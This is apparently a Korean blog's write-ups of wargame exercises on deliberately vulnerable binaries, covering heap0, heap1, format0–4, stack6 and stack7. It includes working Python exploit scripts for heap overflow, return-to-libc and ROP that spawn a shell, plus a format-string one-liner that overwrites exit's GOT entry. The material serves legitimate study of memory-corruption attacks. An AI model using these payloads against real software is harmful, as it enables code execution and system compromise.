auth->auth를 바꿔줘야합니다.

gdb로 까보니 auth->name은 eax(0x0804c008)에 저장이 되며, auth->auth는 eax+0x20의 위치에 존재했습니다.

service는 eax+0x10의 위치에 저장이 되었으며, 이로 인해 service 변수로 auth->auth를 덮을 수 있습니다.






  1. k3y6reak 2016.09.26 10:38 신고

    크 모든걸 다 해버리신 갓!



이번에도 실행 흐름을 바꿔주는 문제네요.

그런데 함수를 따로 호출해주는 부분이 없습니다.

따라서 두 개의 strcpy를 이용하여 winner 함수로 분기를 시켜야하는데, 두 번째 strcpy에서 i2->name에 argv[2]를 저장합니다. 이 때, i1->name에서 overflow가 일어난다면, i2->name 부분의 주소를 임의로 바꿔 줄 수 있습니다. 이 말은, ret를 우리가 마음대로 주무를 수도 있고, got overwrite 또한 가능하다는 소리가 되겠네요.

저는 ret를 변경하는 것으로 풀이하였습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048494
system = 0xb7ecffb0
binsh = 0xb7fb63bf
ret = 0xbffffcac

payload = 'A'*20
payload += p(ret)

payload2 = p(winner)
print payload, payload2

heap1.py







이번에는 힙 오버플로우를 이용하여 다른 함수로 flow를 변경시키는 문제네요.

winner 함수를 호출하면 해결 되는 문제인 것 같습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048464
system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*72
payload += p(winner)

print payload

heap0.py


winner 함수의 주소를 구하고, d 구조체 뒤에 오는 f 구조체를 침범하도록 72바이트만큼 dummy byte를 덮어씌워주고 overwrite 해줍니다. 이 위치가 f 구조체의 fp 함수포인터의 위치입니다.






이번에는 함수의 흐름을 FSB로 바꾸는 문제입니다.

exit 함수를 hello 함수로 redirect 시키라고 하네요.



시키는대로 objdump -TR로 exit 함수의 코드 주소를 확인해봅니다.

근데 굳이 이 주소가 아니더라고 GOT를 덮어씌워도 될 것 같습니다.



hello 함수의 주소도 확인해봅니다.


포맷을 4번 출력했을 때 AAAA가 나타납니다.





exit : 0x08049724

hello : 0x80484b4(134513844)


134513844 - 20 = 134513824


(python -c "print '\x24\x97\x04\x08'+'%08x'*2+'%134513824x%n'") | ./format4





이번엔 target을 0x1025544로 바꿔야하네요. 값이 커졌습니다.

포맷을 총 12번 출력 했을 때 AAAA가 나옵니다.




16930116 - 84 = 16930032




이번에는 FSB를 이용해 target을 특정 값으로 바꾸는 문제입니다.



포맷을 총 4번 입력했을 때 우리가 입력한 AAAA를 찾아 낼 수 있었습니다.




4+8*2+44 = 64

값을 64로 바꿔줍니다.



FSB를 이용하여 전역변수인 target을 바꾸는 것이 목표입니다.



objdump -t 를 이용하여 target 변수의 주소를 확인해줍니다.



131번 만큼 포맷을 출력 해주면 우리가 입력한 AAAA가 나타납니다.




이 값을 포맷을 그대로 맞춰서 변경해주면 target 변수의 값이 바뀝니다.




sprintf 취약점을 이용한 BOF네요.

strcpy와 동일합니다.



값을 바꿔줍시다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'BBBB'
payload += p(binsh)

print payload

format0.py



쉘도 따줍시다.




이번엔 0xb를 필터링합니다.

지금까지 사용하던 system 함수의 주소가 0xb7ecffb0이었으니 RTL은 못쓰겠네요.

ROP를 써봅시다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
ppr = 0x80485c7

payload = 'A'*80
payload += p(ppr)
payload += 'BBBB'
payload += 'BBBB'
payload += p(system)
payload += 'CCCC'
payload += p(binsh)

print payload

stack7.py



objdump에서 뽑아낸 ppr 가젯을 이용하여 ROP를 때려줍시다.

쉘을 따줍니다.





이번엔 RTL을 이용한 풀이입니다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload


stack6.py



쉘을 따줍시다.

+ Recent posts